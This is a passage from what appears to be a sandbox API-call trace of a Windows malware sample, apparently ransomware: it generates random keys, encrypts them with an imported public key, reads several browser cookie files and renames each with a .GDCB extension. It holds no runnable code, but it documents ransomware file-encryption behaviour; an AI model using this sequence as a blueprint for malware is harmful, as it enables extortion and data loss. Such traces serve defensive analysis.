settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\p778smc9.txt.gdcb")) returned 1 [0191.004] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0191.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.007] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.007] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.007] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.007] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0191.008] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.009] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.009] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.009] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.009] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.012] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037d10) returned 1 [0191.012] CryptGetKeyParam (in: hKey=0x5037d10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.012] CryptEncrypt (in: hKey=0x5037d10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.012] GetLastError () returned 0x0 [0191.012] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.012] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.015] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037ad0) returned 1 [0191.015] CryptGetKeyParam (in: hKey=0x5037ad0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.015] CryptEncrypt (in: hKey=0x5037ad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.015] GetLastError () returned 0x0 [0191.015] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.015] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\PF9HBAFQ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\pf9hbafq.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.020] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.021] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.022] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xab, lpOverlapped=0x0) returned 1 [0191.032] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.049] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\PF9HBAFQ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\pf9hbafq.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\PF9HBAFQ.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\pf9hbafq.txt.gdcb")) returned 1 [0191.054] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.056] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.057] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.057] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.057] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.057] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0191.058] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.059] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.059] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.059] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.060] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.062] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037d90) returned 1 [0191.063] CryptGetKeyParam (in: hKey=0x5037d90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.063] CryptEncrypt (in: hKey=0x5037d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.063] GetLastError () returned 0x0 [0191.063] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.063] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.065] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037a90) returned 1 [0191.065] CryptGetKeyParam (in: hKey=0x5037a90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.065] CryptEncrypt (in: hKey=0x5037a90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.065] GetLastError () returned 0x0 [0191.065] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.065] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\PK3I34UV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\pk3i34uv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.067] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.069] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.070] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xdf, lpOverlapped=0x0) returned 1 [0191.079] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.084] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\PK3I34UV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\pk3i34uv.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\PK3I34UV.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\pk3i34uv.txt.gdcb")) returned 1 [0191.089] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.092] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.092] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.092] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.093] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.094] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.094] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.094] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.094] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.096] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037c90) returned 1 [0191.096] CryptGetKeyParam (in: hKey=0x5037c90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.096] CryptEncrypt (in: hKey=0x5037c90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.096] GetLastError () returned 0x0 [0191.096] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.096] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0191.098] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037c50) returned 1 [0191.098] CryptGetKeyParam (in: hKey=0x5037c50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.098] CryptEncrypt (in: hKey=0x5037c50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.098] GetLastError () returned 0x0 [0191.098] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.099] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\QUMCK8L4.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\qumck8l4.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.100] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.102] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.103] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x56, lpOverlapped=0x0) returned 1 [0191.128] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.132] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\QUMCK8L4.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\qumck8l4.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\QUMCK8L4.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\qumck8l4.txt.gdcb")) returned 1 [0191.138] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0191.139] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.140] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.140] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.140] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.140] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0191.141] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.142] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.142] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.142] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.142] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0191.145] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037f90) returned 1 [0191.145] CryptGetKeyParam (in: hKey=0x5037f90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.145] CryptEncrypt (in: hKey=0x5037f90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.145] GetLastError () returned 0x0 [0191.145] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.145] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.147] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037b10) returned 1 [0191.147] CryptGetKeyParam (in: hKey=0x5037b10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.147] CryptEncrypt (in: hKey=0x5037b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.147] GetLastError () returned 0x0 [0191.147] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.147] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RAYRHE6Z.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rayrhe6z.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.149] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.150] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.151] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x1f9, lpOverlapped=0x0) returned 1 [0191.160] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.166] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RAYRHE6Z.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rayrhe6z.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RAYRHE6Z.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rayrhe6z.txt.gdcb")) returned 1 [0191.171] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.172] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.173] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.173] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.173] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.173] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.174] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.175] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.175] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.175] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.175] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.177] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037f10) returned 1 [0191.177] CryptGetKeyParam (in: hKey=0x5037f10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.177] CryptEncrypt (in: hKey=0x5037f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.178] GetLastError () returned 0x0 [0191.178] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.178] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.180] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037850) returned 1 [0191.180] CryptGetKeyParam (in: hKey=0x5037850, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.180] CryptEncrypt (in: hKey=0x5037850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.180] GetLastError () returned 0x0 [0191.180] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.180] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RQK5QF4L.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rqk5qf4l.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.182] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.183] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.184] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x187, lpOverlapped=0x0) returned 1 [0191.194] VirtualAlloc (lpAddress=0x0, dwSize=0x190, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.199] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RQK5QF4L.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rqk5qf4l.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RQK5QF4L.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rqk5qf4l.txt.gdcb")) returned 1 [0191.204] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0191.206] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.207] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.207] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.207] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.207] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 